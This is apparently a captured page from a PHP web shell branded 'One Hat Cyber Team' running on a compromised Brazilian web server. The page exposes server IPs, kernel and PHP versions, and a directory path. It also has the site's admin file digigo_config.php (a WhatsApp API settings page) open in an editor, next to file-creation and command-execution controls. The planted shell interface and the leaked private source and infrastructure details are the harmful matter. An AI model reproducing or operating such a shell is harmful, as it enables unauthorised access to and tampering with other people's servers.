One Hat Cyber Team
Your IP :
216.73.216.36
Server IP :
162.240.179.46
Server :
Linux vps-14493116.nutrivittasaude.com.br 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.2.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lifeprimeti
/
meta.lifeprimeti.com.br
/
admin
/
Edit File:
digigo_config.php
<?php require_once __DIR__ . '/../config/database.php'; requireSuperAdmin(); $titulo = 'Configuracao DigiGO (WhatsApp)'; require_once __DIR__ . '/../includes/header.php'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $base_url = trim($_POST['digigo_base_url'] ?? ''); $admin_token = trim($_POST['digigo_admin_token'] ?? ''); try { $pdo->prepare("UPDATE configuracoes SET digigo_base_url=?, digigo_admin_token=? WHERE empresa_id=1") ->execute([$base_url, $admin_token]); $_SESSION['success_msg'] = 'Configuracao DigiGO salva!'; } catch (PDOException $e) { $_SESSION['error_msg'] = 'Erro: ' . $e->getMessage(); } redirect('digigo_config.php'); } $config = $pdo->query("SELECT digigo_base_url, digigo_admin_token FROM configuracoes WHERE empresa_id = 1 LIMIT 1")->fetch(); $configured = !empty($config['digigo_base_url']) && !empty($config['digigo_admin_token']); ?> <div class="row"> <div class="col-lg-8 animate-fadeIn"> <div class="card"> <div class="card-header d-flex justify-content-between align-items-center"> <h3 class="card-title"><i class="bi bi-whatsapp me-2 text-success"></i>DigiGO API (WhatsApp)</h3> <span id="digigoServerStatus" class="badge bg-secondary">Verificando...</span> </div> <div class="card-body"> <form method="POST"> <div class="mb-3"> <label class="form-label">Base URL da API</label> <input type="url" name="digigo_base_url" class="form-control" value="<?= sanitize($config['digigo_base_url'] ?? '') ?>" placeholder="https://api.digigo.com.br" required> <small class="text-secondary">URL completa fornecida pelo DigiGO (ex: https://api.digigo.com.br)</small> </div> <div class="mb-3"> <label class="form-label">Admin Token</label> <input type="password" name="digigo_admin_token" class="form-control" value="<?= sanitize($config['digigo_admin_token'] ?? '') ?>" placeholder="Bearer token do admin"> <small class="text-secondary">Token de administrador para criar users (via /admin/users)</small> </div> <button type="submit" class="btn btn-success"><i class="bi bi-save me-1"></i>Salvar</button> <hr class="my-4"> <h6 class="fw-semibold mb-2"><i class="bi bi-info-circle me-1 text-info"></i>Como funciona</h6> <ol class="small text-secondary mb-0"> <li>Configure a URL Base e o Admin Token do DigiGO acima.</li> <li>Nos <a href="planos.php">Planos</a>, marque <strong>"WhatsApp Disponivel"</strong> nos pacotes que devem ter essa funcionalidade.</li> <li>Cada empresa com um plano que possui WhatsApp habilitado podera conectar seu proprio WhatsApp nas <strong>Configuracoes</strong> da empresa.</li> <li>Na pagina de configuracoes da empresa, um menu permitira escanear o QR Code para conectar o WhatsApp.</li> <li>Se ativado o envio via DigiGO, os lembretes de agendamento serao enviados pelo WhatsApp do cliente conectado.</li> </ol> </form> </div> </div> </div> <div class="col-lg-4 animate-fadeIn"> <div class="card"> <div class="card-header"><h3 class="card-title"><i class="bi bi-activity me-2 text-info"></i>Status do Servidor</h3></div> <div class="card-body text-center" id="serverStatusBody"> <div class="py-4"> <div class="spinner-border text-info mb-3" role="status" id="statusSpinner"></div> <p class="mb-0 text-secondary" id="statusText">Verificando conectividade com o servidor DigiGO...</p> </div> </div> </div> </div> </div> <script> (function() { var configured = <?= json_encode($configured) ?>; var statusBadge = document.getElementById('digigoServerStatus'); var statusBody = document.getElementById('serverStatusBody'); if (!configured) { statusBadge.className = 'badge bg-secondary'; statusBadge.textContent = 'Nao configurado'; statusBody.innerHTML = '<div class="py-4"><i class="bi bi-exclamation-triangle text-warning fs-1 mb-3 d-block"></i><p class="mb-0 text-secondary">Configure a URL e o Token acima para verificar o status.</p></div>'; return; } fetch('<?= URL_BASE ?>api/digigo.php?action=health') .then(function(r){ return r.json(); }) .then(function(resp){ if (resp.success && resp.online) { statusBadge.className = 'badge bg-success'; statusBadge.textContent = 'Online'; statusBody.innerHTML = '<div class="py-4"><i class="bi bi-check-circle text-success fs-1 mb-3 d-block"></i><p class="mb-0 text-success fw-semibold">Servidor Online</p><p class="small text-secondary mt-1">HTTP ' + resp.http_code + '</p></div>'; } else { statusBadge.className = 'badge bg-danger'; statusBadge.textContent = 'Offline'; var errMsg = resp.error || 'Servidor nao respondeu'; statusBody.innerHTML = '<div class="py-4"><i class="bi bi-x-circle text-danger fs-1 mb-3 d-block"></i><p class="mb-0 text-danger fw-semibold">Servidor Offline</p><p class="small text-secondary mt-1">' + errMsg + '</p></div>'; } }) .catch(function(err){ statusBadge.className = 'badge bg-danger'; statusBadge.textContent = 'Erro'; statusBody.innerHTML = '<div class="py-4"><i class="bi bi-x-circle text-danger fs-1 mb-3 d-block"></i><p class="mb-0 text-danger fw-semibold">Erro de conexao</p><p class="small text-secondary mt-1">' + err.message + '</p></div>'; }); })(); </script> <?php require_once __DIR__ . '/../includes/footer.php'; ?>
Simpan